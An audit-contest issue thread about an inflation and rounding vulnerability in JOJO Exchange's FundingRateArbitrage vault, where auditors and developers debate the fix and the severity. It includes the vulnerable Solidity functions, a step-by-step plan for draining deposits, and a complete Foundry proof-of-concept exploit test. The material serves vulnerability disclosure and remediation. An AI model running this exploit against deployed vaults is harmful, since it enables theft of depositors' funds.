0x52 - FundRateArbitrage is vulnerable to inflation attacks

[sherlock-admin]

0x52

high

FundRateArbitrage is vulnerable to inflation attacks

Summary

When index is calculated, it is figured by dividing the net value of the contract (including USDC held) by the current supply of earnUSDC. Through deposit and donation this ratio can be inflated. Then when others deposit, their deposit can be taken almost completely via rounding.

Vulnerability Detail

FundingRateArbitrage.sol#L98-L104

function getIndex() public view returns (uint256) {
    if (totalEarnUSDCBalance == 0) {
        return 1e18;
    } else {
        return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
    }
}

Index is calculated is by dividing the net value of the contract (including USDC held) by the current supply of totalEarnUSDCBalance. This can be inflated via donation. Assume the user deposits 1 share then donates 100,000e6 USDC. The exchange ratio is now 100,000e18 which causes issues during deposits.

FundingRateArbitrage.sol#L258-L275

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

Notice earnUSDCAmount is amount / index. With the inflated index that would mean that any deposit under 100,000e6 will get zero shares, making it exactly like the standard ERC4626 inflation attack.

Impact

Subsequent user deposits can be stolen

Code Snippet

FundingRateArbitrage.sol#L258-L275

Tool used

Manual Review

Recommendation

Use a virtual offset as suggested by OZ for their ERC4626 contracts

[detectiveking123]

@IAm0x52 check your math there

You said: 1e18 * (1 + 2e9) / (1000 + 1e3) = 5e5 * 1e18 (half the original index) but this is incorrect

But, despite the math being wrong, I do get your point. The attacker can mitigate this pretty easily though. Just send in $1000 initially and deposit a larger amount ($5000 let's say, so you yourself acquire most of the "cheap" shares). The attacker will then put around $200 of capital at risk for the future ability to drain all deposits.

Though, even if the attacker had to put up the full $1000 at risk to drain all future deposits, it would be worth and a valid attack.

[JoscelynFarr]

@IAm0x52

Funny, that made me laugh.

But, apologies; I forgot the order of operations was the other way around. You should send into the contract first.

1. Send in $1000 into the contract. Then deposit $1000. getIndex() will return: 1e18 * (1 + 1e9) / (0 + 1e3) ~ 1e6 * 1e18. As a result, 1000 shares will be minted, and the new share price will be $2. I will pay $1 in deposit fees for this.
2. Let a bunch of other people deposit.
3. Deposit $4 in. I will receive two shares for this. I will pay 0.4 cents in deposit fees for this.
4. Withdraw and send in $2 JUSD + 1 wei of JUSD, which will be rounded to two shares. Profit: around two dollars.
5. Repeat steps 3 and 4 for as long as you want, and make infinite money.

Also happy to just provide a PoC on the post-audit code if it resolves this discussion.

Hey could you provide a PoC on the posit-audit, thanks.

[IAm0x52]

@JoscelynFarr

Ah I see. The offset being used in the production code is not high enough. In fact it actually doesn't fix the inflation issue at all (either #54 or #57). I will recommend a higher offset. 1e3 can be broken with a donation of 1e9 which is an attainable number. Instead an offset of 1e9 would be more fitting and will break any chance of inflation.

It was my error to approve such an offset. 1e3 does not remediate the possibility of inflation.

[detectiveking123]

@IAm0x52 It did fix the inflation issue, at least 99.9% of it, but it fixes 0% of the rounding issue. There are degrees to fixing things. Consider that this was a completely reasonable fix to #54, but if you had not known about #57, you would have never proposed a different fix.

@Czar102 will leave the decision up to you now.

[JoscelynFarr]

Hey @detectiveking123

Could you provide a PoC with the latest codebase? Thank you so much.

[detectiveking123]

@JoscelynFarr Sure, give me 1-2 days of time since it's a weekday. It should look pretty similar to the PoC in #57 but I'll have to modify it a bit.

[IAm0x52]

Yeah I'd like to second that request. I cannot get the repeated deposit and withdrawal working on the new code (or on the old code either). In order to get 2 shares of earnUSDC you have to deposit 2 USDC to get 2 EarnUSDC. Then when I withdraw 1 JUSD + 1 wei it pays 2 USDC but now the attackers EarnUSDC is also 0. So I am unable to get any additional USDC out of the vault. I see how your POC works as the primary deposit but I cannot get the repeated deposits and withdrawals to work. Additionally that only seems to work a single time per account, as further withdrawals revert with the message "lockedEarnUSDCAmount is bigger than earnUSDCBalance"

[detectiveking123]

@IAm0x52 you're not supposed to get additional USDC out of the vault. The profit is in your JOJODealer credit (reread the code a bit if you want to understand why).

See this line of the PoC:

        (,uint secondaryCredit,,,) = jojoDealer.getCreditOf(alice);
        console.log(secondaryCredit);

I will look at this further first thing after work tomorrow.

[detectiveking123]

Also @IAm0x52 yes optimally you should use a new EOA to do each deposit/withdraw iteration

[detectiveking123]

@IAm0x52 @JoscelynFarr

I succeeded with creating the PoC. For your convenience, I just forked the production Github repo and added my PoC there.

Please run forge test --match-test "testExploit" -vv

Link: https://github.com/detectiveking123/smart-contract-EVM

I will also post the PoC script here for other people's convenience, though it will not work without some of the additional setup:

    function testExploit() public {
        jusd.mint(address(fundingRateArbitrage), 50000e6);
        // net value starts out at 0 :)
        console.log("Initial net value");
        console.log(fundingRateArbitrage.getNetValue());

        vm.startPrank(Owner);
        fundingRateArbitrage.setMaxNetValue(10000000e6);
        fundingRateArbitrage.setDefaultQuota(10000000e6);
        vm.stopPrank();

        initAlice();
        // Alice transfers first
        USDC.transfer(address(fundingRateArbitrage), 1000e6);
        // Alice deposits in
        fundingRateArbitrage.deposit(1000e6);
        // (Alice can feel free to deposit multiple times after this if
        // she wants to mitigate the amount she risks losing up front,
        // but we won't for simplicity in this PoC)
        vm.stopPrank();

        // Share price is a bit over $1
        console.log("Share price");
        console.log(fundingRateArbitrage.getIndex());

        // Someone else makes a deposit
        initBob();
        fundingRateArbitrage.deposit(1000e6);
        vm.stopPrank();

        // Let's assume Carol and Dave are EOAs that belong to Alice
        initCarol();
        // Carol will get 1 share back after depositing $1.01
        fundingRateArbitrage.deposit(1_010_000);
        // Here is where the rounding issue comes in
        // Will just withdraw a full cent because I'm lazy
        fundingRateArbitrage.requestWithdraw(10_000);
        vm.stopPrank();

        // Just want to show it is possible to repeat the rounding issue
        // over and over again to drain the contract
        initDave();
        // Dave will get 1 share back after depositing $1.01
        fundingRateArbitrage.deposit(1_010_000);
        fundingRateArbitrage.requestWithdraw(10_000);
        vm.stopPrank();

        vm.startPrank(Owner);
        uint256[] memory requestIds = new uint256[](2);
        requestIds[0] = 0;
        requestIds[1] = 1;
        fundingRateArbitrage.permitWithdrawRequests(requestIds);
        vm.stopPrank();

        // Carol is back to her initial balance, but now has a bunch of extra JUSD deposited for her into jojodealer, which is her profit!
        console.log("Carol usdc balance");
        console.log(USDC.balanceOf(carol));
        (, uint secondaryCredit, , , ) = jojoDealer.getCreditOf(carol);
        console.log("Carol JOJO dealer credit");
        console.log(secondaryCredit);

        // Dave is also up money
        console.log("Dave usdc balance");
        console.log(USDC.balanceOf(dave));
        (, uint daveSecondaryCredit, , , ) = jojoDealer.getCreditOf(dave);
        console.log("Dave JOJO dealer credit");
        console.log(daveSecondaryCredit);
    }

[Czar102]

I think it is clear that issue #57 is separate as a different rounding can be fixed in order to mitigate it. There are some similarities in the exploit path, but the rounding and fixes are entirely different, in separate parts of code.

I stand by my decision to separate #57 from #54.

[IllIllI000]

@Czar102 doesn't the admin having to call permitWithdrawRequests() change the severity of 57?

[detectiveking123]

@IllIllI000 Looking at the code, it is not so clear cut as "admin has to call permitWithdrawRequests". I believe this is a high -- there are a few points I'd like to make here:

1. If the attacker deposits $1000 at some point and withdraws $1001 a day later unfairly, it doesn't seem noticeable at all (the price of one share is likely barely noticeable to the admin until enough damage has been done). We shouldn't assume an omnipotent admin (otherwise they could just front-run every single hack with some type of withdraw all) but rather one who acts reasonably well. I think in this case you would easily get past an admin who is acting reasonably well.
2. The malicious attacker is not the only one who can run this exploit / who this exploit affects. Consider an ordinary user who notices they can send in a few dollars less of JUSD and receive out the same amount of USDC. They're innocent and haven't done anything wrong, but the admin now has to choose between blocking their request (which leads to a loss of funds for them -- they lose their share in the vault and gain nothing back) or giving them a few extra dollars. It is like choosing between one way to cause a loss of funds or another. It is likely that with the current way the rounding works, even if all malicious requests are blocked (but how do you even know if a request is malicious or not?), regular users would just ‘accidentally’ drain the vault over time, leaving nothing for the users at the end who didn’t withdraw. Overall, this rounding error just completely breaks the withdraw functionality and causes a loss of funds no matter what choice you make here.

[IllIllI000]

The rules for Medium state Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss. and $1 out of $1000 is only 0.1% so that doesn't sound like anything but a small, finite amount. In order to get more out of the protocol, one would have to submit many, many more of these transactions and at that point, I think it's relevant whether the admin is complicit. I agree there's an issue, but am skeptical that the amounts and the preconditions lead to anything more than Medium, and possibly even as little as a Low, depending on how Sherlock judges things, so I'd like to hear reasoning provided by the Sherlock team, so things are clear for future cases like this (since it doesn't seem like a one-off issue that'll never be seen again).

[detectiveking123]

@IllIllI000 This depends on which version of the code you're talking about. In the original version of the code, there can be much more lost than 0.1% lost per withdraw request. But in the updated, post-audit version of the code, it is around 0.1% per withdraw request. Also consider that these withdraws can be done as many times as one wants.

This is a fundamental issue that breaks the withdraw functionality though; the calculations are just incorrect, which doesn't affect just the exploiter, but also regular users. As I stated above, even a well-acting admin is forced into a decision between one type of user fund loss or another.

[IllIllI000]

The only thing that matters for these bugs is the original version of the code during the time of the audit. Can you outline what the maximum percentage lost is (just a ballpark estimate of the order of magnitude), so the Sherlock team can answer the question of how the admin having to approve it affects the severity?

[detectiveking123]

@IllIllI000 Up to 100% of the initial capital amount per withdraw request (so the attacker can choose the amount to drain per withdraw).

But again, the withdraw functionality is broken to the point where there can be a loss of user funds regardless of what the admin does.

[IllIllI000]

Thanks detectiveking123. @Czar102 can you answer how the admin constraint affects severity (the reasoning based on the rules, not just the final severity answer), so we can properly submit and judge cases like this in the future?

[Czar102]

I think the point made by @detectiveking123 is an accurate view – an admin doesn't make mistakes when it comes to their interactions, but when it comes to accepting values determined by an in-scope code, I think it's reasonable that a relatively small rounding error may go unnoticed. It seems this "signing off" of an admin on withdrawals is only an external sanity check, and we obviously can't assume it will catch any small discrepancy.

I'd like to note that we have some README questions in works that will allow Watsons to answer the question "What checks are made when calling admin function xyz?" to be able to define the scope of issues with admin interactions more precisely.

[JoscelynFarr]

Have already fix in here: https://github.com/sherlock-audit/2023-12-jojo-exchange-update-judging/issues/57#issuecomment-1949761945

[IAm0x52]

@IllIllI000 Looking at the code, it is not so clear cut as "admin has to call permitWithdrawRequests". I believe this is a high -- there are a few points I'd like to make here:

1. If the attacker deposits $1000 at some point and withdraws $1001 a day later unfairly, it doesn't seem noticeable at all (the price of one share is likely barely noticeable to the admin until enough damage has been done). We shouldn't assume an omnipotent admin (otherwise they could just front-run every single hack with some type of withdraw all) but rather one who acts reasonably well. I think in this case you would easily get past an admin who is acting reasonably well.

2. The malicious attacker is not the only one who can run this exploit / who this exploit affects. Consider an ordinary user who notices they can send in a few dollars less of JUSD and receive out the same amount of USDC. They're innocent and haven't done anything wrong, but the admin now has to choose between blocking their request (which leads to a loss of funds for them -- they lose their share in the vault and gain nothing back) or giving them a few extra dollars. It is like choosing between one way to cause a loss of funds or another. It is likely that with the current way the rounding works, even if all malicious requests are blocked (but how do you even know if a request is malicious or not?), regular users would just ‘accidentally’ drain the vault over time, leaving nothing for the users at the end who didn’t withdraw. Overall, this rounding error just completely breaks the withdraw functionality and causes a loss of funds no matter what choice you make here.

This argument doesn't make much sense to me. As pointed out by @IllIllI000 with permitWithdrawRequests() there is a delay on every withdrawal. Inflation is ridiculously easy to see when it happens and both attacks are only is effective with inflation. Lots of eyes are on the vault at launch and anyone could escalate to admin before any funds leave. Admin can also remove all funds from the contract so you are incorrect in saying that it always causes loss of funds, swap to remove USDC or refundJUSD to remove JUSD, then redistribute funds back to appropriate parties. IMO seems very unlikely either would lead to loss even before fixes. Seems judgment is firm but looks like both #54 and #57 should be low, due to this obvious constraint we've overlooked.